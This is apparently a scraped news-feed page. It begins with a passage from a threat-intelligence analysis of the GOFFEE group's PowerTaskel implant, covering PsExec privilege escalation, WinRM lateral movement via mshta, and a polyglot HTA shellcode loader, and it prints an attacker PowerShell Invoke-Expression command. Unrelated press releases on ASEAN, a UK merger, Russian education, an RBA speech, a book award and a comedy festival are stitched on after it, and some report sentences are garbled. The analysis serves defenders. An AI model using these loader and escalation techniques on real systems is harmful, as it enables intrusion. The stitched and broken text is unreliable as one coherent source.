    System infection scheme via removable media

    PowerTaskel

    We have dubbed the non-public PowerShell Mythic agent delivered via a mail-based infection chain since early 2023, as PowerTaskel. This implant possesses only two primary capabilities: sending information about the targeted environment to a C2 server in the form of a “checkin” message, and executing arbitrary PowerShell scripts and commands received from the C2 server as “tasks” in response to “get_tasking” requests from the implant. The request payloads are PowerShell objects that are serialized to XML, encoded using XOR with a sample-specific 1-byte key, and then converted to Base64.

    Based on the naming and ordering of the configuration parameters, it is likely that PowerTaskel is derived from the open-source Medusa Mythic agent, which was originally written in Python.

    Comparison of Medusa and PowerTaskel configuration code

    Comparison of Medusa and PowerTaskel “checkin” function code

    PowerTaskel is a fully functional agent capable of executing commands and PowerShell scripts, which expand its capabilities to downloading and uploading files, running processes, etc. However, its functionality is often insufficient due to specific aspects of PowerShell usage, prompting the group to switch to a custom binary Mythic agent. To achieve this, PowerTaskel loads the Mythic agent from the C2 server, injects it into its own process memory, and runs it in a separate thread. In this scenario, the Mythic agent is present as a self-configuring x32/x64 shellcode. The method of injecting and loading the Mythic agent shellcode is described in more detail in the “Lateral Movement” section.

    In at least one instance, PowerTaskel received a script containing a FolderFileGrabber component as a task. FolderFileGrabber largely replicates the functionality of FlashFileGrabber, with one key difference: it can grab files from remote systems via a hardcoded network path using the SMB protocol. The PowerShell cmdlet “New-SmbMapping” is used to access remote system resources, enabling successful retrieval of the desired files.

    Lateral movement

    Following system infection, if the user account permissions allow it, PowerTaskel performs several tasks to elevate its privileges to the System level. To achieve this, PowerTaskel utilizes the PsExec utility, which is part of the Sysinternals suite. The PsExec utility is dropped into the current directory where PowerTaskel is located and is used to execute mshta.exe with system privileges, passing a URL as an argument.

    The images below depict two tasks that PowerTaskel executes with its C2 server. The first task checks for the presence of the file “ntuser.exe” in the %ProgramData% directory, and if it is not found, downloads it from the C2 server. The second task runs mshta.exe via ntuser.exe, which is actually a renamed PsExec utility.

    Getting “ntuser.exe”

    The “ntuser.exe” executable running “mshta.exe”

    The next image illustrates an example of the execution flow of various scripts and commands started with the privilege elevation procedure. The executable file “1cv9.exe” is a renamed PsExec utility, and the argument “-s” specifies that the process it launches should run under the System account. The launched program “mshta.exe” accepts a URL as an argument, which points to an HTA file containing malicious, obfuscated JScript. The HTA file is cached and saved to the InetCache folder. This JScript creates two files, “desktop.js” and “user.txt”, on the disk using the “echo” console command with output redirection to a file, and then executes desktop.js via cscript.exe. The desktop.js file, in turn, launches the interpreter with a script on the command line, which reads the contents of user.txt and executes it. As evident from the contents passed to the “echo” command, user.txt is another PowerShell script whose task is to extract a payload from a hardcoded address and execute it. In this case, the payload is PowerTaskel, which now runs with the elevated privileges.

    Example of execution flow on an infected system

    Once launched, PowerTaskel interacts with its C2 server and executes standard commands to gather information about the system and environment. Notably, the launch of csc.exe (Visual C# Command Line Compiler) indicates that PowerTaskel has received a task to load a shellcode, which it accomplishes using an auxiliary DLL. The primary function of this DLL is to copy the shellcode into allocated memory. In our case, the shellcode is self-configuring code for the binary Mythic agent.

    The final line of the execution flow (“hxxp://192.168.1[.]2:5985/wsman”) reveals a call to the WinRM (Microsoft Windows Remote Management) service, located on a remote host on the local network, via the loaded Mythic agent. A specific User-Agent header value, “Ruby WinRM Client”, is used to access the WinRM service.

    HTTP header for WinRM request

    The WinRM service is actively utilized by GOFFEE for network distribution purposes. Typically, this involves launching the mshta.exe utility on the remote host with a URL as an argument. The following examples illustrate the execution chains observed on remote hosts:

    wmiprvse.exe –secured –Embedding

    –> cmd.exe /C mshta.exe https://.com/////.hta

    wsmprovhost.exe

    –> mshta.exe https://.com/////.hta

    wmiprvse.exe –secured –Embedding

    –> cmd.exe /Q /c powershell.exe mshta.exe https://.com/////.hta

    wmiprvse.exe –secured –Embedding

    –> powershell.exe /C mshta.exe https://.com/////.hta

    Recently, we have observed that GOFFEE is increasingly abandoning the use of PowerTaskel in favor of the binary Mythic agent during lateral movement.

    Mythic agent HTA

    MD5 615BD8D70D234F16FC791DCE2FC5BCF0
    SHA1 EF14D5B97E093AABE82C4A1720789A7CF1045F6D
    SHA256 AFC7302D0BD55CFC603FDAF58F5483B0CC00D354274F379C75CFA17F6BA6F97D
    File type Polyglot (HTML Application)
    File size 165.32 KB
    File name duplicate.hta

    The mshta.exe utility is still employed to launch the binary Mythic agent, with a URL passed as an argument. However, the payload contents for the passed URL differ from the traditional HTA format. It is relatively large, approximately 180 kilobytes, and is characterized as a polyglot file, which is a type of file that can be validly interpreted in multiple formats. The shellcode containing the Mythic agent is located at the beginning of the file and occupies approximately 80% of its size. It is followed by two Base64-encoded PowerShell scripts, separated by a regular line break, and finally, the HTA file itself.

    Polyglot payload

    When the mshta.exe utility downloads the aforementioned payload, it interprets it as an HTA file and transfers control to an obfuscated JScript embedded within the HTA section of the polyglot file. The script first determines the argument used to launch the mshta.exe utility, whether it was a URL or a path to a local file. If a URL was used as the argument, the script searches for the original HTA file in the InetCache folder, where the system cached the HTA file during download. To do this, the script iterates through all files in the cache folder and checks their contents for the presence of a specific magic string.

    Deobfuscated JScript from the HTA section of the payload

    If an HTA file is found on the disk, the script drops two files, “settings.js” and “settings.ps1”, using the “echo” command, and then runs settings.js with additional command-line arguments. The script then sets a timer for 10 seconds, after which the dropped files will be deleted.

    Deobfuscated “settings.js”

    The running settings.js script accepts three command-line arguments: the path to powershell.exe, the path to the HTA file, and the string “Shell.Application”. These received arguments are used to populate a PowerShell script, the contents of which are then passed to the powershell.exe command line.

    1

    powershell.exe –c “$INbqDKHp = “C:Users[username]AppDataLocalMicrosoftWindowsINetCacheIEduplicate““[1““].hta”;$OdfUfjp = get-content $env:USERPROFILEsettings.ps1;$KWfWXqek=1;Invoke-Expression $OdfUfjp;$KWfWXqek=2;Invoke-Expression $OdfUfjp;$KWfWXqek=3;Invoke-Expression $OdfUfjp;”

    The script passed to the PowerShell interpreter declares two variables: “$INbqDKHp”, which stores the path to the HTA file, and “$KWfWXqek”, a counter. The script then reads the contents of “settings.ps1” and executes it three times, passing the path to the HTA file and the counter as arguments, and incrementing the value of the “$KWfWXqek” variable by 1 each time.

    Deobfuscated “settings.ps1”

    During each execution, the “settings.ps1” script reads the contents of the HTA file, splits it into lines, and identifies Base64-encoded scripts. To detect these scripts, it first locates the line containing the HTA application tag by searching for the substring “The first two scripts are used to declare auxiliary functions, including compiling a helper DLL, which is necessary for executing the shellcode. The third script is responsible for allocating memory, loading the shellcode from the HTA file (whose path is retrieved from the previously defined “$INbqDKHp” variable), and transferring control to the loaded shellcode, which is the self-configuring code of the Mythic agent.

    Victims

    According to our telemetry, the identified targets of the malicious activities described in this article are located in Russia, with observed activity spanning from July 2024 to December 2024. The targeted industries are diverse, encompassing organizations in the mass media and telecommunications sectors, construction, government entities, and energy companies.

    Attribution

    In this campaign, the attacker utilized PowerTaskel, which had previously been linked to the GOFFEE group. Additionally, HTA files and various scripts were employed in the infection chain.

    The malicious executable attached to the spear phishing email is a patched version of explorer.exe, similar to what we observed in GOFFEE’s attacks earlier in 2024, and contains shellcode that is very similar to the one previously used by GOFFEE.

    Considering the same victimology, we can attribute this campaign to GOFFEE with a high degree of confidence.

    Conclusions

    Despite using similar tools and techniques, GOFFEE introduced several notable changes in this campaign.

    For the first time, they employed Word documents with malicious VBA scripts for initial infection. Additionally, GOFFEE utilized a new PowerShell script downloader, PowerModul, to download PowerTaskel, FlashFileGrabber, and USB Worm. They also began using the binary Mythic agent, and likely developed their own implementations in PowerShell and C.

    While GOFFEE continues to refine their existing tools and introduce new ones, these changes are not significant enough to suggest that they can be confused with another actor.

    MIL OSI Economics –

    April 10, 2025
  • MIL-OSI Economics: ASEAN and UK Senior Officials Review Relations and Discuss Future Plans

    Source: ASEAN

    DA NANG, 10 April 2025 –Senior Officials of ASEAN and the United Kingdom reaffirmed their commitment to intensifying the ASEAN-UK Dialogue Partnership and strengthen collaboration in mutually beneficial areas at the 4th ASEAN-UK Senior Officials’ Meeting (AUKSOM) in Da Nang, Viet Nam today.

    Both sides welcomed the robust implementation of the ASEAN-UK Plan of Action (POA) 2022-2026, with nearly 95 percent having been or currently being addressed, and which would serve as a strong foundation for developing a successor document. ASEAN also welcomed the progress in the UK’s five flagship cooperation programmes.

    The Senior Officials discussed cooperation areas that ASEAN and the UK could further explore across the three ASEAN Community pillars. Under the political-security pillar, both sides agreed to deepen cooperation on maritime security, cybersecurity, transnational crime, counterterrorism, Women, Peace and Security as well as Youth, Peace and Security.

    Under the economic pillar, ASEAN and the UK commited to enhancing collaboration on economic integration, digital economy, artificial intelligence, science, technology and innovation, financial services, green finance, supply chain resilience, energy transition, business-to-business partnerships and women economic empowerment.

    Under the socio-cultural pillar, both sides stand ready to deepen collaboration on education and skills development, climate change, health, disaster risk reduction, creative economy and cultural exchanges, and people-to-people exchanges.

    On cross-pillar cooperation, ASEAN and the UK noted the potential to cooperate on Connectivity, smart cities and sustainable urban development, waste management, the implementation of the UN Sustainable Development Goals and the Initiative for ASEAN Integration (IAI) and Narrowing Development Gaps.

    Both sides committed to the operationalisation of the  ASEAN-UK Joint Ministerial Statement on Connectivity. In this regard, the Senior Officials appreciated Viet Nam and the UK for jointly hosting the ASEAN-UK Connectivity Dialogue, which was held following the conclusion of the 4th AUKSOM.

    ASEAN and the UK also exchanged views on regional and international issues of common interest and concern, where both sides reaffirmed their commitment to upholding multilateralism and strengtening the ASEAN-led regional architecture, including through the implementation of  the ASEAN Outlook on the Indo-Pacific (AOIP).

    Looking ahead to the fifth anniversary of the ASEAN-UK Dialogue Partnership in 2026, both sides looked forward to commemorating the occasion with meaningful activities.

    The 4th AUKSOM was co-chaired by H.E. Do Hung Viet, Deputy Minister of Foreign Affairs and ASEAN SOM Leader of Viet Nam and H.E. Owen Jenkins, Director-General, Indo-Pacific and the ASEAN SOM Leader of the UK. It was attended by ASEAN SOM Leaders or their representatives, the Deputy Secretary-General of ASEAN for ASEAN Political-Security Community, their respective delegations and officials from the FCDO. Timor-Leste attended as Observer.

    ###

    The post ASEAN and UK Senior Officials Review Relations and Discuss Future Plans appeared first on ASEAN Main Portal.

    MIL OSI Economics –

    April 10, 2025
  • MIL-OSI United Kingdom: CMA receives proposals which may address competition concerns in oil services deal

    Source: United Kingdom – Executive Government & Departments

    Press release

    CMA receives proposals which may address competition concerns in oil services deal

    CMA considers that undertakings offered by oilfield services provider Schlumberger (SLB) could resolve competition concerns in the UK relating to its acquisition of ChampionX, a global provider of chemical solutions, oilfield services and equipment.

    iStock

    The Competition and Markets Authority (CMA) is considering SLB’s offer of undertakings to resolve the competition concerns it identified during its Phase 1 investigation of SLB’s acquisition of ChampionX.   

    SLB and ChampionX are leading global suppliers of oilfield services, equipment and related technologies. Both companies have significant operations (including UK assets) supplying important inputs to oil and gas companies and other oilfield services firms in the UK North Sea. They hold substantial positions in the UK markets in which the CMA has identified competition concerns.  

    The undertakings offered include: 

    • the sale of SLB’s UK production chemical technologies (PCTs) business to a CMA-approved buyer 

    • the sale of ChampionX’s global US Synthetic business, which supplies market-leading polycrystalline diamond (PCD) bearings used in certain directional drilling services by SLB’s rivals in the UK, to a CMA-approved buyer 

    • a licence covering relevant intellectual property and know-how to a CMA-approved alternative developer of quartz sensors and transducers supporting the growth of a strong alternative supplier in this segment, together with agreements to provide SLB’s rival suppliers of permanent downhole gauges (PDGs) in the UK access to ChampionX’s market-leading quartz sensors and transducers for an interim period 

    Having provisionally found that these undertakings could address its concerns, the CMA now has 40 working days to consider them in more detail, including seeking third-party feedback. If satisfied, the CMA will proceed to clear the deal subject to its final acceptance of the undertakings.  

    The CMA is concerned that the deal – if allowed to proceed without remedies – could cement the companies’ substantial positions in highly concentrated markets, potentially leading to higher costs, fewer alternatives and reduced innovation, impacting the competitiveness of the UK’s oil and gas industry.

    Sorcha O’Carroll, Senior Director for Mergers at the CMA, said: 

    Effective competition in the oil and gas industry drives innovation, pushing companies to reduce costs and develop more efficient ways to produce energy. It also helps ensure that prices remain competitive, benefiting consumers whilst allowing companies to meet global energy demands. 

    We are continuing to engage constructively with the companies on the proposals they have put forward to resolve our competition concerns. We’ll also consider any feedback we receive on these undertakings before reaching a final decision

    More information can be found on the Schlumberger / ChampionX case page.

    Notes to Editors:

    1. The CMA found in its Phase 1 decision that the merger could result in reduced competition in the supply of production chemicals that are used in oil and gas production in the UK North Sea. The CMA also found that the merger could harm competition in the supply of directional drilling services using rotary steerable system (RSS) and in the supply of PDGs, by restricting the access to key inputs (PCD bearings and quartz sensors/transducers, respectively) for SLB’s rival producers in these markets. 

    2. PCTs are essential for optimising performance, safety, and efficiency of oil and gas operations by improving production rates and preventing issues like corrosion.  

    3. Directional drilling services using RSS enable precise control over wellbore trajectory, improving drilling efficiency and accuracy while minimising risks and costs in complex oil and gas reservoir environments. PCD bearings are an important input to directional drilling services, particularly well-suited for operating under harsh conditions, such as the conditions in the UK North Sea.  

    4. PDGs provide continuous, real-time monitoring of downhole conditions such as pressure, temperature and fluid levels, helping optimise production and ensure the safety and efficiency of oil and gas operations. Quartz sensors, incorporated into transducers, are typically used within PDGs for high-value assets in offshore areas and are known for their robustness and accuracy in harsh downhole environments.  

    5. For media enquiries, please contact the CMA press office on 0203 738 6460 or press@cma.gov.uk.

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    Published 10 April 2025

    MIL OSI United Kingdom –

    April 10, 2025
  • MIL-OSI Russia: School Engineering Education. Discussion in the Federation Council

    Translartion. Region: Russians Fedetion –

    Source: Peter the Great St Petersburg Polytechnic University – Peter the Great St Petersburg Polytechnic University –

    An extended meeting of the Association of Educational Organizations “Consortium for the Development of School Engineering and Technology Education” was held in Moscow. The event brought together experts from the Federation Council, the Public Chamber of the Russian Federation, School No. 2087 “Otkrytie”, the Russian Biotechnology University, the VKontakte office, and the Career Guidance Center “Professions of the Future”.

    The Federation Council held a plenary discussion on the topic of “Regulatory framework and measures of state support for the development of school engineering education”, moderated by the Chairman of the Federation Council Committee on Regulations Vyacheslav Timchenko. The discussion brought together representatives of the Ministry of Education, the Ministry of Science and Higher Education, Rosmolodezh, heads of leading engineering schools, directors of technical colleges, employees of higher education institutions, industrial enterprises, as well as representatives of departments and departments of education from different regions of the country.

    Nikolay Snegirev, Head of the Directorate of Pre-University Education and Talent Attraction, took part in the discussion on behalf of the Polytechnic University. The key issues of the discussion were the legal regulation of engineering education in schools, state support for innovative projects and infrastructure, educational and methodological support, and the continuity of educational programs.

    The participants of the event discussed the development of strategies and methods for ensuring the technological sovereignty of the country with the participation of educational institutions – the best schools, colleges, universities, high-tech companies and representatives of government agencies. The speakers emphasized the importance of combining efforts to form an investment economy and create a reserve of engineering specialists necessary to strengthen the technological sovereignty of the state.

    Following the discussion, the participants came to the conclusion that it is necessary to follow specific strategies and take measures aimed at improving the entire educational system, uniting industrial and academic partners, and creating an effective system for training engineering personnel. These steps will help to form an investment economy and prepare qualified engineering personnel for the future of the country.

    The recommendations developed by the panel discussion participants will be sent to the Government of the Russian Federation and executive authorities.

    Participation in the extended meeting was a valuable experience for us, allowing us to exchange knowledge and developments with leading experts and representatives of educational organizations. SPbPU presented its experience in organizing and holding the Polytechnic Olympiad for schoolchildren in engineering sciences. We not only strengthened existing professional contacts, but also established new partnerships that will open up additional prospects for joint work. This event confirmed the importance of a collective approach to solving current problems in education and science. We highly value the opportunity to be part of such a professional community that unites best practices and strives to achieve common goals, – noted Nikolay Snegiryov.

    Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

    MIL OSI Russia News –

    April 10, 2025
  • MIL-OSI Australia: Women’s Economic Empowerment in Australia

    Source: Airservices Australia

    I would like to start by acknowledging the Wurundjeri Woi-wurrung and Bunurong/Boon Wurrung peoples of the Eastern Kulin nation as the traditional owners and custodians of the land on which we are meeting this evening and pay my respects to Elders, past and present, as well as any First Nations people here with us or online.

    It is great to be here to mark 40 years of Chief Executive Women (CEW).

    I hadn’t intended to talk about the RBA’s policy responsibilities tonight, seeing as we are here to recognise the progress in women’s economic empowerment. However, given developments over the past week, I will make a few short comments first.

    Inevitably, there will be a period of uncertainty and adjustment as countries respond to the ongoing tariff announcements by the United States administration. It will take some time to see how all of this plays out and the added unpredictability means we need to be patient as we work through how all of this could affect demand and supply globally.

    Financial market and economic volatility can be expected as this process unfolds. But there are two points I want to make on this. First, we’re not currently seeing the same degree of impact as previous market events like in 2008 for example. And second, the Australian financial system is strong and well placed to absorb shocks from abroad.

    We are closely monitoring financial market conditions here and overseas – as we always do. We continue to engage closely with our fellow financial regulators in Australia, and our central bank counterparts overseas, sharing information and working together. We are carefully considering several factors including the response of our trading partners, additional counter-responses from the US, the response of our exchange rate, and adjustments in other financial markets. A key focus for us is how all this uncertainty is affecting decisions made by households and businesses in Australia.

    All of this – together with our usual detailed analytical work and scenarios – is helping us build a fuller picture of the possible impacts as we prepare for the next Monetary Policy Board meeting on 19-20 May. There are a lot of moving parts. We are bringing all this together to form an objective assessment of what it means for the outlook for domestic activity and inflation here at home.

    We are mindful of not adding to the uncertainty, and to that end, it’s too early for us to determine what the path will be for interest rates. Our focus remains on our dual mandate for price stability and full employment.

    Now, back to our focus for being here tonight.

    I’ll reflect on the significant strides in women’s empowerment in the Australian economy and the progress made by women at the RBA over the past 40 years. In doing so, I will provide some reflections on my own leadership journey. I’ll also highlight our efforts to help build the pipeline of future female economists and business leaders.

    Women’s economic empowerment

    Over the past 40 years, women’s representation and participation in the Australian economy has undergone a remarkable transformation.

    In the mid-1980s, women made up just under 40 per cent of the workforce, with married women’s participation in the labour market especially low. But through persistent efforts – including by organisations like CEW and many of the individuals in the room tonight – women’s participation in paid work has increased considerably.

    Law reform has helped, too, with the introduction of the Sex Discrimination Act in 1984 paving the way for further reforms to advance women’s rights, particularly in our workplaces. This progress has been supported by a range of other factors, including greater access to education and child care. The increased availability of more flexible working arrangements – for women and men – has also helped.

    Fast forward 40 years and women now account for almost half of the paid workforce. This has given women greater financial independence and social equity, a worthy goal in and of itself. But beyond that, it has expanded the pool of available workers, providing businesses with a larger and more diverse talent base.

    There are some estimates for the United States that show that between 20–40 per cent of productivity growth in the 50 years to 2010 could be attributed to better talent allocation.

    The idea here is simple. If there are more people working in positions that suit their skills, this maximises their ability to contribute to economic growth and better and more informed decision-making within organisations. It is good for women, good for businesses, good for productivity and the economy, and good for society.

    Opportunities to increase equity and representation

    While women’s labour force participation has increased, there’s further progress to be made.

    Research from the Workplace Gender Equality Agency (WGEA) shows that fewer than 20 per cent of CEOs are women, while women made up only one-third of board members. The federal public service fares better, with women holding more than 50 per cent of Australian government board positions, and 45 per cent of chair and deputy chair positions.

    The gender pay gap remains an issue. Since the mid-1990s, the gender pay gap has narrowed by about 3 percentage points, mostly in the past decade. However, men still earn $28,000 more per year on average than women.

    But there are positive signs, particularly for younger workers. Participation rates for those aged 25 and under are now equal for men and women, allowing young women to build skills and experience for future leadership roles.

    Indeed, in addition to closing gender gaps being the right thing to do, analysis by the Organisation for Economic Co-operation and Development (OECD) indicates that it could boost GDP by an average of 9 per cent across OECD countries by 2060. Given our ageing population in Australia, boosting the labour force participation of working-age women is not only desirable, but essential, for economic growth.

    My leadership journey at the RBA

    At the RBA, we have a wide range of responsibilities and rely on diverse sets of skills and experience to get the job done. Women play an essential role in all aspects of our operations.

    But this hasn’t always been the case. In the 1960s and 70s, pioneers like Ann Catling and Margaret Campbell paved the way for gender equity at the RBA. Ann Catling, one of only 13 women on the men’s pay scale at the RBA in 1966, made significant contributions to development economics and gender equity. Margaret Campbell, who began at the RBA in 1967, achieved equal compensation with men while studying full-time at university. Other notable figures include Jillian Broadbent and Kerry Schott, who contributed to the RBA’s first econometric model of the Australian economy.

    When I first joined the RBA in the mid-1980s, there were barely any women at the level of section head. In 1996, I was the first female to reach deputy head level in a policy department.

    Reflecting on my journey, there were three important milestones for me.

    The first was earning a scholarship from the RBA to undertake a Masters degree in Economics at the London School of Economics. It wasn’t just the postgraduate training. It was also an early recognition than my leaders saw promise in me.

    The second was a career move when I came back from maternity leave. I was appointed as the deputy head of a new department – Payments Policy. It gave me a completely blank sheet of paper to build something new. I had very direct and regular exposure to the Governor and to the members of the Payments System Board. And I had great leaders – including men who were encouraging of me and other women as we progressed.

    The third milestone was my appointment to Assistant Governor (Currency) in 2010 – the first female assistant governor. This was a big change for me. It was a move from a policy to an operational area, in which I was not an expert. I also had to lift my gaze beyond my area of specialty to the enterprise level.

    In the last decade, women’s representation at the RBA improved significantly. In June last year, we achieved 40 per cent women in management roles. Women made up 44 per cent of employees, with four of seven Executive Committee positions held by women. 56 per cent of promoted employees were women, and 63 per cent of those promoted to management were women. These promotions were all based on skills and ability.

    This progress reflects the RBA’s commitment to inclusion, and it is also a testament to the resilience and determination of women at the RBA.

    There are four things I have learnt in my leadership journey. The first is not to undersell myself. Women have to be prepared to promote themselves even if we don’t feel 100 per cent confident. Second is don’t be afraid to do something different. I always took opportunities when they were offered. Most often it was a sideways move. Third, I found people who I trusted to guide me – some internal and, as I became more senior, people from outside the RBA. My contacts at CEW have been important here. Finally, the teams around me are my most valuable resources. They are professional, know what they are doing and always give their best. My job is to draw on that expertise, support them and guide them.

    Building the pipeline of future economists

    Finally, I want to say a few words on the work the RBA is doing to build a diverse pipeline of future economists, policymakers and business leaders in Australia. There has been a sharp decline in the size and diversity of the economics student population since the early 1990s. The trend raises concerns about economic literacy in society and the long-term health of the economics discipline.

    This is an important reason for the RBA’s education program, which engages with students and teachers and provides a range of resources that aim to inspire and support the next generation of economists. Some of our initiatives include school outreach programs and providing educational resources, research into the economics education landscape, and engagements with educational and curriculum bodies.

    Today, males still outnumber females by two to one in high school and university economics. Our research confirms that a confidence gap exists for females; that female students tend to underestimate their proficiency when it comes to economics. It is not the case that women can’t do economics – which I am sure will come as no surprise to anyone in this room.

    Even among year 12 students who do study economics, a recent RBA study has found that there is a low interest in pursuing economics at the university level, particularly for females. Instead, these students are more likely to enrol in commerce, finance, or arts and social science courses.

    One approach to increase the flow of high school students into university economics could be to develop some tailored advocacy to emphasise the connections between economics and other preferred fields of study. Increasing the representation of female role models amongst economists, female economics teachers and female advocates for economics in the public domain could also help.

    Conclusion

    While we have made significant strides in improving gender equity and increasing female participation both at the RBA and within the broader Australian economy, there is still much work to be done.

    I hope that my role as Governor of the RBA – the first woman to hold the role – gives encouragement to women coming up through the ranks of Australian businesses and the public service. You can do it.

    Thank you to CEW for the opportunity to speak to you ahead of what I’m sure will be an engaging panel discussion.

    MIL OSI News –

    April 10, 2025
  • MIL-OSI Europe: Researcher Ariel Colonomos Recipient of the International Ethics ISA Book Award

    Source: Universities – Science Po in English

    Human lives are one of the two elements that are constitutive of an equilibrium where lives are put in balance with interests. This balance between lives and interests, I argue, is constitutive of the political as a sphere. As in every other form of exchange, we can use one element to measure the other. This is the reason why lives are the measure of our interests, as much as interests are the measure of our lives.

    Indeed, we pay for lives by making concessions with our interests (whether they are political, such as in the field of security, what we consider to be our “national interest”, or economic), and, we pay with lives in pursuit of some of the goals that constitute for us primary interests (in war, for example, but, as I argue in the book, in many other fields as well, such as in the domain of global health).

    This balance is constitutive of the political, in so far as measurement is the challenge of politics defined as an art, and maintaining the stability of that delicate equilibrium is an essential task. I borrow examples from different countries and different time periods: I want to show how this principle is widely shared throughout time and space.

    States have the upper hand in this process, and they usually rule over who gets what, as well as who must sacrifice their lives and who gets to be saved. However, we see two other players in this game: markets and communities.

    The market is a place where these exchanges take place—i.e. when claims for reparations are filed, when companies get fined because of the harm they might cause to the environment, or when insurance companies price the lives of hostages.

    Communities also take an active role and, depending on the political context they are in, could even have a bigger role in the balancing of lives and interests. Communities get reparations for historical injustices, “communities” of victims in the U.S. were granted reparations in the aftermath of 9/11. We may consider that communities in the Amazon should get reparations because of the damages caused to the environment.

    I also discuss in my book other cases that are related to migration, where I argue that communities of migrants should benefit from financial support when their lives are endangered.

    MIL OSI Europe News –

    April 10, 2025
  • MIL-OSI China: Megastar comedians headline 2nd Macao Intl Comedy Festival

    Source: China State Council Information Office 3

    The second Macao International Comedy Festival (MICF) opened in Hengqin on Wednesday, bringing together top comedians and filmmakers for events across Hengqin and Macao over the coming days.

    Comedians Chang Yuan and Ai Lun take a selfie with performers from “Peppa Pig’s Fun Day Out!” at the second Macao International Comedy Festival in Hengqin, Guangdong province, April 9, 2025. [Photo courtesy of Mahua Fun Age]

    The five-day festival runs through Sunday in the Macao Special Administrative Region (SAR) and in neighboring Hengqin, a district of Zhuhai in Guangdong province. The events will feature comedy megastars like Shen Teng and Ma Li, alongside international filmmakers including Takeshi Kitano, Aamir Khan, Feng Xiaogang and Xu Zheng. Special guest Dolores Chaplin — an actor and granddaughter of comedy legend Charles Chaplin — will also participate.

    The MICF program features stage performances, film screenings, industry pitch sessions, a grand gala night and professional forums at multiple venues throughout both Macao and Hengqin.

    Mahua Fun Age, a leading Chinese comedy production company, organizes the festival under the leadership of its founder and president, Zhang Chen, alongside Shen Teng and Ma Li. Other key backers include Han Mei, CEO of Mahua Fun Age; Li Jie, president of Alibaba Pictures; He Mi, president of Damai; and Sabrina Zhang from Joyful Moments Culture & Entertainment.

    The festival opened Wednesday with “Peppa Pig’s Fun Day Out!” — a Mandarin stage adaptation by Mahua Fun Age of the popular British children’s series. Kindergartners from across Hengqin and Macao made up much of the enthusiastic audience.

    Comedians Ai Lun and Chang Yuan later made a surprise appearance, sharing creative insights and professional experiences with the audience and fellow comedy creators.

    Events running April 10-13 include high-profile stand-up showcases featuring comedians from China and abroad. Meanwhile, an expanded film program presents comedy classics, including “Crazy Rich Asians,” the “Detective Chinatown” series and “Lost in Thailand,” along with filmmaker Q&As and masterclasses. Highlights include the China debut of Takeshi Kitano’s new comedy “Broken Rage” and the Asian premiere of the documentary “Charlie Chaplin: The Spirit of the Tramp,” produced by Dolores Chaplin.

    This festival edition also introduces a new segment titled “New Talents: Comedy Venture Capital Forum.” Acclaimed directors Feng Xiaogang and Xu Zheng, alongside comedy stars Shen Teng and Ma Li, will serve as judges. The program aims to connect promising comedians with industry resources and funding opportunities.

    Two industry forums will take place April 12-13, examining trends in comedy. “Her Way” focuses on women’s growing influence in comedy, while “Laughter as the Remedy” explores humor’s impact on the industry’s future. Both events will feature industry professionals sharing insights through panel discussions and collaborative sessions.

    Children watch the opening performance of “Peppa Pig’s Fun Day Out!” at the second Macao International Comedy Festival in Hengqin, Guangdong province, April 9, 2025. [Photo courtesy of Mahua Fun Age]

    Additionally, this year’s festival will showcase a groundbreaking improv comedy-yoga workshop that explores the connections between art and daily wellness practices.

    Leong Wai Man, director of the Cultural Affairs Bureau of the Macao SAR government, commended the MICF, noting that it aligns with the region’s role as a vital hub for Eastern and Western cultures and its efforts to promote Chinese cultural exchange.

    MIL OSI China News –

    April 10, 2025
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